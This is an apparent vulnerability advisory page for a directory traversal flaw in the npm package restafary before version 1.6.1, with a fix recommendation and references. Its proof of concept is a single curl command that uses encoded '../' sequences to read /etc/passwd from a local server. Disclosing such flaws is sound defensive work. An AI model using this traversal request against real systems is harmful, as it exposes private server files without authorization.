Medium

Directory Traversal in restafary

  • Disclosed: 18.02.2019
  • Updated: 11.10.2026 10:22

Affected versions of restafary are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.

Proof of Concept

bash
curl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'

Recommendation

Update to version 1.6.1 or later.

Affected software

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PlatformPackageVulnerable versionsFixed in
npm package restafary < 1.6.1 1.6.1

References

CVSS score -
Weakness (CWE)
CWE-22
Platform
npm
Package
restafary
Disclosed
18.02.2019
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-xg5r-8j97-2wrj - CC BY 4.0

Vulnerability history: restafary

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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